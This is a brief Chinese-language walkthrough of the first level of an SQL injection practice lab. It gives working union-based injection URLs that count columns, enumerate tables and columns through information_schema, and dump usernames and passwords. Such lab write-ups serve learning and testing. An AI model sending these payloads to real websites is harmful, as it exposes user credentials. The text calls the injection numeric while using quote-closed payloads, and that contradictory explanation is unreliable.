打开第一关,提示,往id里传参
1,?id=\,报错,判断是用'闭合的
2,先判断是字符型还是数字型
用and1=1和and1=2来判断
url中输入id=x and 1=1 回显正常
url中输入id=x and 1=2 回显错误
说明为数字型注入
若为字符型
应为select*from <表名>where id='x and 1=2'
3,判断表字段数有几列数据
/?id=1' order by 3 --+ 回显正常
/?id=1' order by 4 --+ 报错,说明只有三个字段
4,使用联合查询是否有显示位 union select 1,2,3
/?id=1' union select 1,2,3 --+ 返回页面不变,
5,猜测有LIMIT语句控制显示内容
/?id=-1' union select 1,2,3 --+
返回显示页出来。为2,3可以显示内容
6,利用这一点获取数据库和数据表
/?id=-1' union select 1,database(),group_concat(table_name)from information_schema.tables where information_schema.tables.table_schema=database() --+
返回数据库为security,表名为emalls,referers,uagents,users
7,获取指定表字段
/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+
返回三个字段
8,获取指定表的数据,username,password
?id=-1' union select 1,2,group_concat(concat_ws('-',username,password))from users --+
另一个表一样的步骤